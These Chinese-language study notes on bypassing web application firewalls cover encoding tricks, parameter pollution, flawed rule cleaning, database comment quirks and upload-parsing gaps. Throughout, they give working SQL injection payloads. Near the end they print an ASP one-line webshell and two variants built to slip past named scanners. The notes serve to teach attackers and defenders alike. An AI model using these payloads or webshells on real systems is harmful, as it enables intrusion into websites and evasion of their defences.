Waf Bypass-二向箔学习记录
WAF(Web应用防火墙,Web Application Firewall的简称)
是通过执行一系列针对HTTP/HTTPS
的安全策略来专门为Web
应用提供保护的产品。WAF
可以发现和拦截各类Web层面的攻击,记录攻击日志,实时预警提醒,在Web应用本身存在缺陷的情况下保障其安全。
但是,WAF
不是万能的、完美的、无懈可击的,在种种原因下,它们也会有各自的缺陷,作为用户不可以盲目相信WAF
而不注重自身的安全。
那么,有哪些薄弱点,可以被攻击者用来作为WAF
的突破口呢?我们先来了解下。
(这部分的内容有些比较基础,是为照顾刚入门的朋友,如果您已经熟悉,不妨一起回顾,或者等候后面的内容。)
一、 攻击者可利用哪些方面来绕过WAF?
1、 Web容器的特性
2、 Web应用层的问题
3、 WAF自身的问题(本次LIVE重点)
4、 数据库的一些特性
Web容器的特性 – 1
IIS+ASP
的神奇%
在IIS+ASP
的环境中,对于URL
请求的参数值中的%
,如果和后面的字符构成的字符串在URL
编码表之外,ASP
脚本处理时会将其忽略。
现在假设有如下请求:
http://www.test.com/1.asp?id=1 union all se%lect 1,2,3,4 fro%m adm%in
在WAF
层,获取到的id
参数值为1 union all se%lect 1,2,3,4 fro%m adm%in
,此时waf
因为%
的分隔,无法检测出关键字 select from
等
但是因为IIS
的特性,id
获取的实际参数就变为1 union all select 1,2,3,4 from admin
,从而绕过了waf
。
这个特性仅在iis+asp
上 asp.net
并不存在
Web容器的特性 – 2 IIS的Unicode编码字符
IIS
支持Unicode
编码字符的解析,但是某些WAF
却不一定具备这种能力。
(已知 's'
的Unicode编码为:%u0053
, 'f'
的Unicode编码为%u0066
)
http://www.test.com/1.asp?id=1 union all %u0053elect 1,2,3,4 %u0066rom admin
在WAF
层,获取到的id
参数值为1 union all %u0053elect 1,2,3,4 %u0066rom admin
但是IIS
后端检测到了Unicode
编码会将其自动解码,脚本引擎和数据库引擎最终获取到的参数会是:1 union all select 1,2,3,4 from admin
此方法还存在另外一种情况,多个不同的widechar
可能会被转换为同一个字符。例如:
(http://blog.sina.com.cn/s/blog_85e506df0102vo9s.html WideChar和MultiByte字符转换问题)
s%u0065lect->select
s%u00f0lect->select
这种情况需要根据不同的waf
进行相应的测试,并不是百发百中。但是对于绕过来说,往往只要一个字符成功绕过即可达到目的。
Web容器的特性 – 3 HPP(HTTP Parameter Pollution): HTTP参数污染
在HTTP
协议中是允许同样名称的参数出现多次的。例如:http://www.test.com/1.asp?id=123&id=456
根据WAF
的不同,一般会同时分开检查id=123
和id=456
,也有的仅可能取其中一个进行检测。但是对于IIS+ASP/ASP.NET
来说,它最终获取到的ID
参数的值是123
,空格456(asp)
或123,456(asp.net)
。
所以对于这类过滤规则,攻击者可以通过:
id=union+select+password/*&id=*/from+admin
来逃避对select * from
的检测。因为HPP
特性,id
的参数值最终会变为:
union select password/*,*/from admin
下表是统计出的不同服务器对HPP
的处理方式,大家可以参考一下。
Web容器的特性 – 4 畸形HTTP请求
二、Web应用层的问题
Web应用层的问题 -1 多重编码问题
如果Web
应用程序能够接收多重编码的数据
,而WAF
只能解码一层(或少于WEB应用程序能接收的层数)时,WAF
会因为解码不完全导致防御机制被绕过。
Web应用层的问题 -2 多数据来源的问题
如Asp
和Asp.NET
中的Request
对象对于请求数据包的解析过于宽松,没有依照RFC
的标准来,开发人员在编写代码时如果使用如下方式接收用户传入的参数
WEB程序可从以下3种途径获取到参数ID的参数值:
1.从GET请求中获取ID的参数值;
2.如果GET请求中没有ID参数,尝试从POST的ID参数中获取参数值;
3.如果GET和POST中都获取不到ID的参数值,那么从Cookies中的ID参数获取参数值。
这样对于某些WAF
来说,如果仅检查了GET
或POST
的,那么来自Cookie
的注入攻击就无能为力了,更何况来自于这三种方式组合而成的参数污染的绕过方法呢?
请求内容为:
POST /test.aspx?id=123 HTTP/1.1
Host: 192.168.118.128:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Cookie:id=789
id=456
返回内容为:
HTTP/1.1 200 OK
Cache-Control: private
Connection: close
Date: Sat, 22 Sep 2018 07:51:23 GMT
Content-Length: 11
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie:yunsuo_session_verify=44fb70a14c10485884a32dfec98a4982; expires=Tue, 25-Sep-18 15:51:23 GMT; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
123,456,789
可以看到 id
参数值的取值顺序(然后到了我们今天的重点内容)
WAF自身的有哪些问题?
WAF自身的问题 – 1 白名单机制
WAF存在某些机制,不处理和拦截白名单中的请求数据:
1、指定IP或IP段的数据。
2、来自于搜索引擎爬虫的访问数据。
3、其他特征的数据。
如以前某些WAF
为了不影响站点的SEO
优化,将User-Agent
为某些搜索引擎(如谷歌)的请求当作白名单处理,不检测和拦截。伪造HTTP
请求的User-Agent
非常容易,只需要将HTTP
请求包中的User-Agent
修改为谷歌搜索引擎的User-Agent
即可畅通无阻。
WAF自身的问题 – 2 数据获取方式存在缺陷
1、某些WAF
无法全面支持GET
、POST
、Cookie
等各类请求包的检测,当GET
请求的攻击数据包无法绕过时,转换成POST
可能就绕过去了。或者,POST
以Content-Type: application/x-www-form-urlencoded
无法绕过时,转换成上传包格式的Content-Type: multipart/form-data
就能够绕过去。
2、某些WAF
从数据包中提取检测特征的方式存在缺陷,如正则表达式不完善,某些攻击数据因为某些干扰字符的存在而无法被提取,常见的如%0a
、%0b
、%0c
、%0d
、%09
、%0a
等。
在以前,针对某些WAF
,直接使用以上字符就可以直接绕过。当然,现在不太可能了。
WAF自身的问题 – 3 数据处理不恰当
1、%00截断
将%00
进行URL
解码,即是C语言中的NULL
字符
如果WAF
对获取到的数据存储和处理不当,那么%00
解码后会将后面的数据截断,造成后面的数据没有经过检测。
WAF
在获取到参数id
的值并解码后,参数值将被截断成1/*
,后面的攻击语句将没有被WAF
拿去进行检测。
2、&字符处理
某些WAF
在对HTTP
请求数据包中的参数进行检测时,使用&
字符对多个参数进行分割,然后分别进行检测,如:
这些WAF
会使用&
符号分割par1
、par2
和par3
,然后对其参数值进行检测。但是,如果遇到这种构造:
WAF
会将以上参数分割成如下3部分:
如果将这3个参数分别进行检测,某些WAF
是匹配不到攻击特征的。
这里的%26
是&
字符
/*%26*/->/*&*/
其实只是一个SQL
的注释而已
WAF自身的问题 – 4 数据清洗不恰当
当攻击者提交的参数值中存在大量干扰数据时,如大量空格
、TAB
、换行
、%0c
、注释
等,WAF
需要对其进行清洗,筛选出真实的攻击数据进行检测,以提高检查性能,节省资源。
如果WAF
对数据的清洗不恰当,会导致真实的攻击数据被清洗,剩余的数据无法被检测出攻击行为。
WAF自身的问题 – 5 规则通用性问题
通用型的WAF
,一般无法获知后端使用的是哪些WEB
容器、什么数据库、以及使用的什么脚本语言。
每一种WEB
容器、数据库以及编程语言,它们都有自己的特性,想使用通用的WAF
规则去匹配和拦截,是非常难的。
通用型WAF
在考虑到它们一些共性的同时,也必须兼顾它们的特性,否则就很容易被一些特性给Bypass
!
WAF自身的问题 – 6 为性能和业务妥协
要全面兼容各类Web Server
及各类数据库的WAF是非常难的,为了普适性,需要放宽一些检查条件,暴力的过滤方式会影响业务。
对于通用性较强的软WAF
来说,不得不考虑到各种机器和系统的性能,故对于一些超大数据包、超长数据可能会跳过不检测。
以上就是WAF
自身的一些问题,接下来我们会针对这些问题进行讲解,看看WAF
是怎么受这些问题影响的。
然后是数据库的一些特性,不同的数据库有一些属于自己的特性,WAF如果不能处理好这些特性,就会出很大的问题。
实例
接下来,我们看看,数据提取方式存在缺陷,导致WAF
被绕过的实例。
某些WAF
从数据包中提取检测特征的方式存在缺陷,如正则表达式不完善,某些攻击数据因为某些干扰字符的存在而无法被提取。
某WAF
在后端会将删除线部分当作注释清洗掉:
事实上,x参数
和y参数
其实和id参数
并无关系,这样的特征数据提取方式,是不科学的。
[其中x
和y
参数是干扰用的 作用就是清洗
带入查询的 是id
的值
伪造2
个参数,进行清洗,一个是实际需要的]
二、数据清洗方式不正确,导致WAF被绕过
当攻击者提交的参数值中存在大量干扰数据时,如大量空格
、TAB
、换行
、%0c
、注释
等,WAF
需要对其进行清洗(为提升性能和降低规则复杂性),筛选出真实的攻击数据进行检测,但是,如果清洗方式不正确,会导致真正的攻击部分被清洗,然后拿去检测的是不含有攻击向量的数据,从而被Bypass
!
如,http://localhost/test/Article.php?id=9999-"/*" union all select 1,2,3,4,5 as "*/" from mysql.user
某些WAF
会将9999-"/*" union all select 1,2,3,4,5 as "*/" from mysql.user
清洗为:9999-"" from mysql.user
然后去检测是否有攻击特征,如果没有,执行原始语句:
9999-"/*" union all select 1,2,3,4,5 as "*/" from mysql.user
其实,对于/*
来说,它只是一个字符串 对于*/
来说,它也是一个字符串,在这里还充当一个别名
但是对于WAF
来说,它会认为这是多行注释符,把中间的内容清洗掉去进行检测,当然检测不到什么东西。
[很多waf
都是清洗之后再进行规则匹配 因为如果干扰字符串过多的话 检测需要消耗大量的资源和性能 所以清洗后 可以提升性能 降低匹配规则的复杂度 WAF
主要是检测后端的SQL
语句顺序是改变不了的]
三、规则通用性问题,导致WAF被绕过
比如对SQL
注入数据进行清洗时,WAF
一般不能知道后端数据库是MySQL
还是SQL Server
,那么对于MySQL
的/*!50001Select*/
来说,这是一个Select
的命令,而对于SQL Server
来说,这只不过是一个注释而已,注释的内容为!50001Select
。
尤其是对于通用性WAF
,这一点相当难做,很难去处理不同数据库的特性之间的问题。
如数据库为SQL Server
,某些WAF在处理如下语句时:
因为WAF
会将MYSQL
的/*!50001*/
这种处理为MYSQL
命令。但是对于SQL Server
来说,这就是一个普通的注释而已。
这样处理后,SQL的语法都彻底乱了,自然而然就被Bypass了!
大家可以发现,很多WAF对错误的SQL语句是不拦截的。
同样的,在Mysql
中#
是注释,但是在SQL Server
中#
只是一个字符串。
那么如下语句:9999' and 1=(select top 1 name as # from master..sysdatabases)--
会被当作为:9999' and 1=(select top 1 name as 注释
其实,这里的#
只是一个字符,充当一个别名的角色而已。
如果后端数据库是SQL Server
,这样的语句是没问题的。
但是通用型WAF
怎么能知道后端是SQL Server
呢?
[很多主流的WAF
是不可能将规则限定得特别死的 会影响到业务]
WAF对上传的检测和处理。
一、为性能和业务妥协
要全面兼容各类Web Server
及各类数据库的WAF
是非常难的,为了普适性,需要放宽一些检查条件,暴力的过滤方式会影响业务。
对于通用性较强的软WAF
来说,不得不考虑到各种机器和系统的性能,故对于一些超大数据包、超长数据可能会跳过不检测。
如上图所示,在上传数据包部分,强行添加5万个字符
,有些WAF
会直接不检测放行,或者,检测其中的一部分。
比如,检测最前面5w个字符有没有攻击特征,如果没有,放行。
针对这种,不能光靠WAF
,我们应该在我们的WEB容器层面或应用程序层面来限定上传数据的大小
。所以,我们不能过度依赖于WAF
。
二、数据获取方式存在缺陷
针对上传的数据,WAF
需要对数据进行提取并检测。
但是,它是怎么提取的呢?很多WAF
都是基于正则表达式去提取。
既然是正则表达式,如果没有写得很全面很规范,那就容易产生问题。
如上图所示,对于IIS
,这样写是没问题的。[其他容器有的也可以,有点微小差异。]
Content-Disposition: form-data; name="FileName";
filename="
1.asp"
但是WAF
的设计者可能并不知道,这个是可以这样写的。
当用正则表达式去获取上传的文件名时,正则表达式就匹配不到了。所以上传就被绕过了。
在应用程序代码层面,开发者可以检查Content-Disposition: form-data; name=头部
,如果发现不符合格式规范,在代码层面禁止上传。
脚本木马查杀工具的缺陷
我们看一个测试样本,用asp
的一句话做个示例。
原始一句话木马: <%execute request("a")%>
这个是最原始的,只要是一款webshell查杀工具,基本都能查杀。
使用了三款工具进行检测,都是比较知名的,其中有一款还是我崇拜的一个前辈创造的。
一句话木马: <%execute request("a")%>
一句话木马变种1:<%dim REM1:execute request("a")%>
一句话木马变种2:<%dim REM1:REM1=request("a"):if true then v=REM1 else v="" end if:execute v%>
大家可以发现,变种1
和2
虽然说是变种,其实没有什么特别的代码,也没用加密混淆。
因为,这里用到的是这些查杀软件的自身缺陷,所以没有那么复杂的代码。
工具A
和B
,检测方式为正则匹配和变量跟踪。工具C
还有语法分析的功能。
我们先看A
和B
。
A
和B
有变量跟踪的能力。打个比方,X变量
传递给Y变量
,然后用execute
执行Y
,A工具
和B工具
是能检测到的。
比如:
a=request("a")
b=a
execute b
这样还是会被检测到的,不管传递了多少次。
但是,A
和B
没有语法分析的功能。也就是说,逻辑单一。
如果,存在IF
语句,让逻辑改变下,这个简单的变量跟踪就失效了。
x=request("a")
if true then
v=x
else
v=""
end if
execute v
如果加这样一个IF v
还是会等于x
但是对于A
和B
工具来说 会跟踪到v=""
所以不查杀了
REM 1 是注释
REM1 是变量
但是我们观察到,C
工具是有语法分析功能的,为什么也查杀不了呢?
原因在于,C
工具的语法分析功能。C
工具误将REM1当真注释清洗了
<%dim REM1:execute request("a")%>
被清洗成了 <%dim
[现在WAF
还会对一句话木马的通信数据包进行拦截,目前来说,拦截还比较简单。其实我觉得需要更加增强一点。很多WAF
还只是基于通信的HTTP
数据包中的简单特征进行拦截的,如果特征被修改,仍然可以被绕过。有一些WAF
可以解开一句话木马的BASE64
加密字符串,并检测,这是个不错的方式。不过,仍然还是不够。我们通过抓取脚本木马连接的数据包,通过逐段删减,就可以确定拦截位置。然后对照修改就可以让WAF
检测不到。这些需要一点点脚本功底。]